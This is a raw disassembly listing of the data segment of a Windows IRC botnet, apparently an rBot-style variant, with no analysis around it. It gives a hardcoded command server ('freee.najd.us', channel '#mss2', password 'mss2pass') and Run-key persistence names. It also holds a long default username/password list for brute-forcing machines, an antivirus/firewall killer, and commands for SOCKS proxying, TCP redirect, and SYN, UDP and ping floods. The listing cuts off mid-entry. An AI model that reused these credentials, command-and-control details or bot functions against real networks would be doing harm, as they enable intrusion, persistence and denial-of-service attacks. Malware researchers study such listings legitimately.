1F6C0246h ; DATA XREF: sub_402533:loc_4025F8o dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h a2NotSupportedB db '2 not supported by this system',0 align 4 dword_43CBF8 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h ; DATA XREF: sub_402533+43o dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h a2ErrorGettin_0 db '2 error getting ARP cache: %d',0 align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_402617+46o db '«Ç',0 align 10h db '«Ç',0 align 4 dword_43CC54 dd 7E4h dword_43CC58 dd 45h ; seg000:00409749r dword_43CC5C dd 7D1h ; seg000:loc_409AFFr dword_43CC60 dd 201h dd 763h dword_43CC68 dd 1 dd 1 dword_43CC70 dd 1 byte_43CC74 db 78h ; DATA XREF: seg000:004036C8r ; seg000:004038A8r ... align 4 dword_43CC78 dd 7 ; sub_408654+5Fr ... dword_43CC7C dd 1 ; seg000:00403299r ... dword_43CC80 dd 1 ; seg000:00403293r aRbg78 db 'rbg78',0 ; DATA XREF: seg000:0040276Do ; seg000:00406766o ... align 4 aVb400 db 'vb400',0 align 4 aHi_0 db 'hi',0 ; DATA XREF: seg000:004084B3o ; seg000:00408582o align 4 aFreee_najd_us db 'freee.najd.us',0 align 4 aMss2 db '#mss2',0 ; DATA XREF: sub_413351:loc_41336Bo ; sub_413468:loc_413482o ... align 10h aMss2pass db 'mss2pass',0 align 4 byte_43CCBC db 46h ; DATA XREF: seg000:0040777Co ; seg000:0040D28Ao ... db 72h, 61h, 6Dh dd 726F7765h, 652E646Bh, 6578h dword_43CCCC dd 6D617246h, 726F7765h, 732E646Bh, 7379haWindowsFramewo db 'Windows Framework',0 ; DATA XREF: start+Eo align 10h aC_4 db 'C-',0 ; DATA XREF: seg000:004086D2o align 4 aFrameworkd_dat db 'Frameworkd.dat',0 align 4 aXIr db '-x+iR',0 ; DATA XREF: seg000:00408602o align 4 a143 db '#143',0 ; DATA XREF: seg000:loc_405C81o ; seg000:004075E7o ... align 4 a143_0 db '#143#',0 ; DATA XREF: seg000:00404920o align 4 a143_1 db '##143',0 align 4 off_43CD24 dd offset dword_43D064 ; DATA XREF: seg000:loc_4084FDo off_43CD28 dd offset aMircV6_10Khale ; DATA XREF: seg000:0040383Br ; seg000:00408519o ; "mIRC v6.10 Khaled Mardam-Bey" dd offset aMircV6_12Khale ; "mIRC v6.12 Khaled Mardam-Bey" dd offset aMircV6_14Khale ; "mIRC v6.14 Khaled Mardam-Bey" dd offset aMircV6_16Khale ; "mIRC v6.16 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:00419842o ; seg000:00419B66o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:004198EEo ; seg000:00419C12o align 10h off_43CDE0 dd offset aAdministrato_0 ; DATA XREF: sub_40E268+18Br ; sub_40E268+193o ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 10h off_43CE30 dd offset dword_4DF340 ; DATA XREF: sub_40E201r sub_40E201+Co dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_1 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003_0 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_1 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault_0 ; "default" dd offset aSystem ; "system" dd offset aServer_5 ; "server" dd offset aRoot_0 ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_4 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter_0 ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob_0 ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin_1 ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase_0 ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2_0 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle_0 ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco_0 ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet_0 ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aStaff_0 ; "staff" align 10h dword_43D060 dd 10h ; seg000:00403762r ... dword_43D064 dd 376B402Ah, 656E2E6Fh, 74haMircV6_10Khale db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_43CD28o align 10h aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD2Co align 10h aMircV6_14Khale db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD30o align 10h aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD34o align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:off_43CDE0o align 10h aAdministrador db 'administrador',0 ; DATA XREF: seg002:0043CDE4o align 10h aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0043CDE8o align 10h aAdministrat db 'administrat',0 ; DATA XREF: seg002:0043CDECo aAdmins db 'admins',0 ; DATA XREF: seg002:0043CDF0o align 4 aAdmin db 'admin',0 ; DATA XREF: seg002:0043CDF4o align 4 aStaff db 'staff',0 ; DATA XREF: seg002:0043CDF8o align 4 aRoot db 'root',0 ; DATA XREF: seg002:0043CDFCo align 4 aComputer db 'computer',0 ; DATA XREF: seg002:0043CE00o align 4 aOwner db 'owner',0 ; DATA XREF: seg002:0043CE04o align 10h aStudent db 'student',0 ; DATA XREF: seg002:0043CE08o aTeacher db 'teacher',0 ; DATA XREF: seg002:0043CE0Co aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0043CE10o align 4 aGuest_0 db 'guest',0 ; DATA XREF: seg002:0043CE14o align 4 aDefault db 'default',0 ; DATA XREF: seg002:0043CE18o aDatabase db 'database',0 ; DATA XREF: seg002:0043CE1Co align 4 aDba db 'dba',0 ; DATA XREF: seg002:0043CE20o aOracle db 'oracle',0 ; DATA XREF: seg002:0043CE24o align 4 aDb2 db 'db2',0 ; DATA XREF: seg002:0043CE28o aAdministrato_1 db 'administrator',0 ; DATA XREF: seg002:0043CE34o align 4 aAdministrado_0 db 'administrador',0 ; DATA XREF: seg002:0043CE38o align 4 aAdministrate_0 db 'administrateur',0 ; DATA XREF: seg002:0043CE3Co align 4 aAdministrat_0 db 'administrat',0 ; DATA XREF: seg002:0043CE40o aAdmins_0 db 'admins',0 ; DATA XREF: seg002:0043CE44o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: seg002:0043CE48o align 4 aAdm db 'adm',0 ; DATA XREF: seg002:0043CE4Co aPassword1 db 'password1',0 ; DATA XREF: seg002:0043CE50o align 4 aPassword db 'password',0 ; DATA XREF: seg002:0043CE54o align 10h aPasswd db 'passwd',0 ; DATA XREF: seg002:0043CE58o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: seg002:0043CE5Co align 4 aPass_1 db 'pass',0 ; DATA XREF: seg002:0043CE60o align 4 aPwd db 'pwd',0 ; DATA XREF: seg002:0043CE64o a007 db '007',0 ; DATA XREF: seg002:0043CE68o a1: ; DATA XREF: seg002:0043CE6Co unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: seg002:0043CE70o align 4 a123 db '123',0 ; DATA XREF: seg002:0043CE74o a1234 db '1234',0 ; DATA XREF: seg002:0043CE78o align 4 a12345 db '12345',0 ; DATA XREF: seg002:0043CE7Co align 10h a123456 db '123456',0 ; DATA XREF: seg002:0043CE80o align 4 a1234567 db '1234567',0 ; DATA XREF: seg002:0043CE84o a12345678 db '12345678',0 ; DATA XREF: seg002:0043CE88o align 4 a123456789 db '123456789',0 ; DATA XREF: seg002:0043CE8Co align 4 a1234567890 db '1234567890',0 ; DATA XREF: seg002:0043CE90o align 4 a2000 db '2000',0 ; DATA XREF: seg002:0043CE94o align 4 a2001 db '2001',0 ; DATA XREF: seg002:0043CE98o align 4 a2002 db '2002',0 ; DATA XREF: seg002:0043CE9Co align 4 a2003_0 db '2003',0 ; DATA XREF: seg002:0043CEA0o align 4 a2004 db '2004',0 ; DATA XREF: seg002:0043CEA4o align 4 aTest db 'test',0 ; DATA XREF: seg002:0043CEA8o align 4 aGuest_1 db 'guest',0 ; DATA XREF: seg002:0043CEACo align 4 aNone db 'none',0 ; DATA XREF: seg002:0043CEB0o align 4 aDemo db 'demo',0 ; DATA XREF: seg002:0043CEB4o align 4 aUnix db 'unix',0 ; DATA XREF: seg002:0043CEB8o align 4 aLinux db 'linux',0 ; DATA XREF: seg002:0043CEBCo align 4 aChangeme db 'changeme',0 ; DATA XREF: seg002:0043CEC0o align 4 aDefault_0 db 'default',0 ; DATA XREF: seg002:0043CEC4o aSystem db 'system',0 ; DATA XREF: seg002:0043CEC8o align 4 aServer_5 db 'server',0 ; DATA XREF: seg002:0043CECCo align 10h aRoot_0 db 'root',0 ; DATA XREF: seg002:0043CED0o align 4 aNull_1 db 'null',0 ; DATA XREF: seg002:0043CED4o align 10h aQwerty db 'qwerty',0 ; DATA XREF: seg002:0043CED8o align 4 aMail db 'mail',0 ; DATA XREF: seg002:0043CEDCo align 10h aOutlook db 'outlook',0 ; DATA XREF: seg002:0043CEE0o aWeb db 'web',0 ; DATA XREF: seg002:0043CEE4o aWww db 'www',0 ; DATA XREF: seg002:0043CEE8o aInternet db 'internet',0 ; DATA XREF: seg002:0043CEECo align 4 aAccounts db 'accounts',0 ; DATA XREF: seg002:0043CEF0o align 4 aAccounting db 'accounting',0 ; DATA XREF: seg002:0043CEF4o align 4 aHome db 'home',0 ; DATA XREF: seg002:0043CEF8o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: seg002:0043CEFCo align 4 aUser_4 db 'user',0 ; DATA XREF: seg002:0043CF00o align 10h aOem db 'oem',0 ; DATA XREF: seg002:0043CF04o aOemuser db 'oemuser',0 ; DATA XREF: seg002:0043CF08o aOeminstall db 'oeminstall',0 ; DATA XREF: seg002:0043CF0Co align 4 aWindows db 'windows',0 ; DATA XREF: seg002:0043CF10o aWin98 db 'win98',0 ; DATA XREF: seg002:0043CF14o align 4 aWin2k db 'win2k',0 ; DATA XREF: seg002:0043CF18o align 10h aWinxp db 'winxp',0 ; DATA XREF: seg002:0043CF1Co align 4 aWinnt db 'winnt',0 ; DATA XREF: seg002:0043CF20o align 10h aWin2000 db 'win2000',0 ; DATA XREF: seg002:0043CF24o aQaz db 'qaz',0 ; DATA XREF: seg002:0043CF28o aAsd db 'asd',0 ; DATA XREF: seg002:0043CF2Co aZxc db 'zxc',0 ; DATA XREF: seg002:0043CF30o aQwe db 'qwe',0 ; DATA XREF: seg002:0043CF34o aBob db 'bob',0 ; DATA XREF: seg002:0043CF38o aJen db 'jen',0 ; DATA XREF: seg002:0043CF3Co aJoe db 'joe',0 ; DATA XREF: seg002:0043CF40o aFred db 'fred',0 ; DATA XREF: seg002:0043CF44o align 4 aBill db 'bill',0 ; DATA XREF: seg002:0043CF48o align 4 aMike db 'mike',0 ; DATA XREF: seg002:0043CF4Co align 4 aJohn db 'john',0 ; DATA XREF: seg002:0043CF50o align 4 aPeter db 'peter',0 ; DATA XREF: seg002:0043CF54o align 4 aLuke db 'luke',0 ; DATA XREF: seg002:0043CF58o align 4 aSam db 'sam',0 ; DATA XREF: seg002:0043CF5Co aSue db 'sue',0 ; DATA XREF: seg002:0043CF60o aSusan db 'susan',0 ; DATA XREF: seg002:0043CF64o align 4 aPeter_0 db 'peter',0 ; DATA XREF: seg002:0043CF68o align 4 aBrian db 'brian',0 ; DATA XREF: seg002:0043CF6Co align 4 aLee db 'lee',0 ; DATA XREF: seg002:0043CF70o aNeil db 'neil',0 ; DATA XREF: seg002:0043CF74o align 10h aIan db 'ian',0 ; DATA XREF: seg002:0043CF78o aChris db 'chris',0 ; DATA XREF: seg002:0043CF7Co align 4 aEric db 'eric',0 ; DATA XREF: seg002:0043CF80o align 4 aGeorge db 'george',0 ; DATA XREF: seg002:0043CF84o align 4 aKate db 'kate',0 ; DATA XREF: seg002:0043CF88o align 4 aBob_0 db 'bob',0 ; DATA XREF: seg002:0043CF8Co aKatie db 'katie',0 ; DATA XREF: seg002:0043CF90o align 10h aMary db 'mary',0 ; DATA XREF: seg002:0043CF94o align 4 aLogin_1 db 'login',0 ; DATA XREF: seg002:0043CF98o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: seg002:0043CF9Co align 4 aTechnical db 'technical',0 ; DATA XREF: seg002:0043CFA0o align 4 aBackup db 'backup',0 ; DATA XREF: seg002:0043CFA4o align 10h aExchange db 'exchange',0 ; DATA XREF: seg002:0043CFA8o align 4 aFuck db 'fuck',0 ; DATA XREF: seg002:0043CFACo align 4 aBitch db 'bitch',0 ; DATA XREF: seg002:0043CFB0o align 4 aSlut db 'slut',0 ; DATA XREF: seg002:0043CFB4o align 4 aSex db 'sex',0 ; DATA XREF: seg002:0043CFB8o aGod db 'god',0 ; DATA XREF: seg002:0043CFBCo aHell db 'hell',0 ; DATA XREF: seg002:0043CFC0o align 4 aHello db 'hello',0 ; DATA XREF: seg002:0043CFC4o align 4 aDomain db 'domain',0 ; DATA XREF: seg002:0043CFC8o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: seg002:0043CFCCo align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: seg002:0043CFD0o align 10h aDatabase_0 db 'database',0 ; DATA XREF: seg002:0043CFD4o align 4 aAccess db 'access',0 ; DATA XREF: seg002:0043CFD8o align 4 aDbpass db 'dbpass',0 ; DATA XREF: seg002:0043CFDCo align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: seg002:0043CFE0o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: seg002:0043CFE4o align 4 aData db 'data',0 ; DATA XREF: seg002:0043CFE8o align 10h aDatabasepasswo db 'databasepassword',0 ; DATA XREF: seg002:0043CFECo align 4 aDb1 db 'db1',0 ; DATA XREF: seg002:0043CFF0o aDb2_0 db 'db2',0 ; DATA XREF: seg002:0043CFF4o aDb1234 db 'db1234',0 ; DATA XREF: seg002:0043CFF8o align 4 aSa db 'sa',0 ; DATA XREF: seg002:0043CFFCo align 4 aSql db 'sql',0 ; DATA XREF: seg002:0043D000o aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: seg002:0043D004o align 10h aOrainstall db 'orainstall',0 ; DATA XREF: seg002:0043D008o align 4 aOracle_0 db 'oracle',0 ; DATA XREF: seg002:0043D00Co align 4 aIbm db 'ibm',0 ; DATA XREF: seg002:0043D010o aCisco_0 db 'cisco',0 ; DATA XREF: seg002:0043D014o align 10h aDell db 'dell',0 ; DATA XREF: seg002:0043D018o align 4 aCompaq db 'compaq',0 ; DATA XREF: seg002:0043D01Co align 10h aSiemens db 'siemens',0 ; DATA XREF: seg002:0043D020o aHp db 'hp',0 ; DATA XREF: seg002:0043D024o align 4 aNokia db 'nokia',0 ; DATA XREF: seg002:0043D028o align 4 aXp db 'xp',0 ; DATA XREF: seg002:0043D02Co align 4 aControl db 'control',0 ; DATA XREF: seg002:0043D030o aOffice db 'office',0 ; DATA XREF: seg002:0043D034o align 4 aBlank db 'blank',0 ; DATA XREF: seg002:0043D038o align 10h aWinpass db 'winpass',0 ; DATA XREF: seg002:0043D03Co aMain db 'main',0 ; DATA XREF: seg002:0043D040o align 10h aLan db 'lan',0 ; DATA XREF: seg002:0043D044o aInternet_0 db 'internet',0 ; DATA XREF: seg002:0043D048o align 10h aIntranet db 'intranet',0 ; DATA XREF: seg002:0043D04Co align 4 aStudent_0 db 'student',0 ; DATA XREF: seg002:0043D050o aTeacher_0 db 'teacher',0 ; DATA XREF: seg002:0043D054o aStaff_0 db 'staff',0 ; DATA XREF: seg002:0043D058o align 4 aSS_7 db '%s%s',0 align 4 aSS_8 db '%s\%s',0 align 4 aSDS_0 db '%s %d "%s"',0 align 10h aMainBotStarted db '[MAIN]: Bot started.',0 align 4 aProcsAvFwKille db '[PROCS]: AV/FW Killer active.',0 align 4 aProcsFailedT_0 db '[PROCS]: Failed to start AV/FW killer thread, error: <%d>.',0 align 4 aSecureRegistry db '[SECURE]: Registry monitor active.',0 align 4 aSecureFailedTo db '[SECURE]: Failed to start registry thread, error: <%d>.',0 aIdentdServer_0 db '[IDENTD]: Server running on Port: 113.',0 align 4 aIdentdFailed_0 db '[IDENTD]: Failed to start server, error: <%d>.',0 align 4 aMainConnectedT db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_402D46+F2o align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_402EAE+35o align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_402EAE+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 asc_43D79C db ' :',0 ; DATA XREF: seg000:004030ACo align 10h asc_43D7A0: ; DATA XREF: seg000:004030D4o unicode 0, < >,0 asc_43D7A4: ; DATA XREF: seg000:loc_4030F1o unicode 0, < >,0 asc_43D7A8: ; DATA XREF: seg000:004031B7o unicode 0, <!>,0 aPing db 'PING',0 ; DATA XREF: seg000:004031C6o align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:004031E0o align 10h aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00403201o align 10h a001 db '001',0 ; DATA XREF: seg000:0040321Do a005 db '005',0 ; DATA XREF: seg000:00403232o aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:004085F5o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040860Ao align 4 aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040861Do align 4 a302_0 db '302',0 ; DATA XREF: seg000:00403247o a@: ; DATA XREF: seg000:00403257o unicode 0, <@>,0 a433_0 db '433',0 ; DATA XREF: seg000:00403282o aNickS_4 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:004032AAo align 10h aKick db 'KICK',0 ; DATA XREF: seg000:00403301o align 4 aMainUserSLogge db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:00403372o aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040338Bo aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004033D5o align 4 aNick db 'NICK',0 ; DATA XREF: seg000:004033E8o align 4 aSS db ':%s%s',0 ; DATA XREF: seg000:00403506o align 4 aPart db 'PART',0 ; DATA XREF: seg000:0040352Eo align 4 aQuit db 'QUIT',0 ; DATA XREF: seg000:0040353Fo align 4 aMainUserSLog_0 db '[MAIN]: User: %s logged out.',0 ; DATA XREF: seg000:004035D4o align 4 aPart_0 db 'PART',0 ; DATA XREF: seg000:004035F1o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00403615o a353 db '353',0 ; DATA XREF: seg000:0040357Do aMainJoinedChan db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: seg000:004035B4o aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: seg000:00403620o aNotice_0 db 'NOTICE',0 ; DATA XREF: seg000:00403631o align 4 a332 db '332',0 ; DATA XREF: seg000:00403642o aPrivmsg_1 db 'PRIVMSG',0 ; DATA XREF: seg000:00403663o aNotice_1 db 'NOTICE',0 ; DATA XREF: seg000:00403678o align 10h aNotice_2 db 'NOTICE',0 ; DATA XREF: seg000:00403770o align 4 asc_43D908: ; DATA XREF: seg000:00403795o unicode 0, <#>,0 dword_43D90C dd 52455601h, 4E4F4953h, 1dword_43D918 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: seg000:00403848o dd 0D017325h, 0Ah dword_43D934 dd 4E495001h, 47hdword_43D93C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: seg000:00403884o dd 0A0Dh aLoginhi db 'loginhi',0 ; DATA XREF: seg000:004036D8o aHi db 'hi',0 ; DATA XREF: seg000:004036EDo align 10h asc_43D960: ; DATA XREF: seg000:00408485o unicode 0, <!>,0 asc_43D964: ; DATA XREF: seg000:004084A3o unicode 0, <~>,0 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: seg000:004084D3o align 10h aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: seg000:004084E7o align 4 aMainFailedPass db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: seg000:004084F6o align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: seg000:00408531o align 4 aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: seg000:00408545o align 4 aMainFailedHost db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: seg000:00408554o align 10h aMainPasswordAc db '[MAIN]: Password accepted.',0 ; DATA XREF: seg000:004085C4o align 4 aMainUserSLog_3 db '[MAIN]: User: %s logged in.',0 ; DATA XREF: seg000:004085E1o a332_3 db '332',0 ; DATA XREF: seg000:0040370Fo asc_43DA9C db ' :',0 ; DATA XREF: seg000:loc_40388Eo align 10h aD_0 db '$%d-',0 ; DATA XREF: seg000:004038EFo align 4 aD_1 db '$%d',0 ; DATA XREF: seg000:004039AAo aMe db '$me',0 ; DATA XREF: seg000:00403A18o aUser_0 db '$user',0 ; DATA XREF: seg000:00403A2Ao align 4 aChan db '$chan',0 ; DATA XREF: seg000:00403A3Bo align 10h aRndnick_0 db '$rndnick',0 ; DATA XREF: seg000:00403A57o align 4 aServer_0 db '$server',0 ; DATA XREF: seg000:00403A68o aChr db '$chr(',0 ; DATA XREF: seg000:00403A73o align 4 aChr_0 db '$chr(',0 ; DATA XREF: seg000:00403A8Co align 4 asc_43DAE4: ; DATA XREF: seg000:00403AB4o unicode 0, <)>,0 a63 db '63',0 ; DATA XREF: seg000:00403ADCo align 4 asc_43DAEC: ; DATA XREF: seg000:00403BA8o unicode 0, < >,0 asc_43DAF0: ; DATA XREF: seg000:loc_403BC9o unicode 0, < >,0 aRndnick db 'rndnick',0 ; DATA XREF: seg000:00403C03o aRn db 'rn',0 ; DATA XREF: seg000:00403C1Bo align 10h aNickS_2 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040843Eo align 4 aMainRandomNick db '[MAIN]: Random nick change: %s',0 ; DATA XREF: seg000:00408452o align 4 aDie db 'die',0 ; DATA XREF: seg000:00403C30o aD_2: ; DATA XREF: seg000:00403C45o unicode 0, <d>,0 a332_4 db '332',0 ; DATA XREF: seg000:004083F6o aLogout db 'logout',0 ; DATA XREF: seg000:00403C5Ao align 10h aLo db 'lo',0 ; DATA XREF: seg000:00403C6Fo align 4 aMainUserSLog_1 db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:0040837Ao aMainNoUserLogg db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: seg000:00408390o align 4 aMainInvalidLog db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: seg000:00408398o align 10h aMainUserSLog_2 db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:004083D7o aSocks4 db 'socks4',0 ; DATA XREF: seg000:00403C84o align 4 aS4 db 's4',0 ; DATA XREF: seg000:00403C99o align 4 aSocks4ServerSt db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: seg000:004082CCo aSocks4FailedTo db '[SOCKS4]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: seg000:0040833Bo align 4 aSocks4stop db 'socks4stop',0 ; DATA XREF: seg000:00403CAEo align 10h aServer_1 db 'Server',0 ; DATA XREF: seg000:00403CC7o align 4 aSocks4_0 db '[SOCKS4]',0 ; DATA XREF: seg000:00403CCCo align 4 aRloginstop db 'rloginstop',0 ; DATA XREF: seg000:00403CD7o align 10h aServer_2 db 'Server',0 ; DATA XREF: seg000:00403CF0o align 4 aRlogind db '[RLOGIND]',0 ; DATA XREF: seg000:00403CF5o align 4 aHttpstop db 'httpstop',0 ; DATA XREF: seg000:00403D00o align 10h aServer_3 db 'Server',0 ; DATA XREF: seg000:00403D19o align 4 aHttpd db '[HTTPD]',0 ; DATA XREF: seg000:00403D1Eo aLogstop db 'logstop',0 ; DATA XREF: seg000:00403D29o aLogList db 'Log list',0 ; DATA XREF: seg000:00403D42o align 4 aLog db '[LOG]',0 ; DATA XREF: seg000:00403D47o align 4 aRedirectstop db 'redirectstop',0 ; DATA XREF: seg000:00403D52o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: seg000:00403D6Bo align 4 aRedirect db '[REDIRECT]',0 ; DATA XREF: seg000:00403D70o align 4 aDdos_stop db 'ddos.stop',0 ; DATA XREF: seg000:00403D7Bo align 4 aDdosFlood db 'DDoS flood',0 ; DATA XREF: seg000:00403D94o align 10h aDdos db '[DDoS]',0 ; DATA XREF: seg000:00403D99o align 4 aSynstop db 'synstop',0 ; DATA XREF: seg000:00403DA4o aSynFlood db 'Syn flood',0 ; DATA XREF: seg000:00403DBDo align 4 aSyn_0 db '[SYN]',0 ; DATA XREF: seg000:00403DC2o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: seg000:00403DCDo aUdpFlood db 'UDP flood',0 ; DATA XREF: seg000:00403DE6o align 4 aUpd db '[UPD]',0 ; DATA XREF: seg000:00403DEBo align 10h aPingstop db 'pingstop',0 ; DATA XREF: seg000:00403DF6o align 4 aPingFlood db 'Ping flood',0 ; DATA XREF: seg000:00403E0Fo align 4 aPing_0 db '[PING]',0 ; DATA XREF: seg000:00403E14o align 10h aTftpstop db 'tftpstop',0 ; DATA XREF: seg000:00403E1Fo align 4 aServer_4 db 'Server',0 ; DATA XREF: seg000:00403E38o align 4 aTftp_0 db '[TFTP]',0 ; DATA 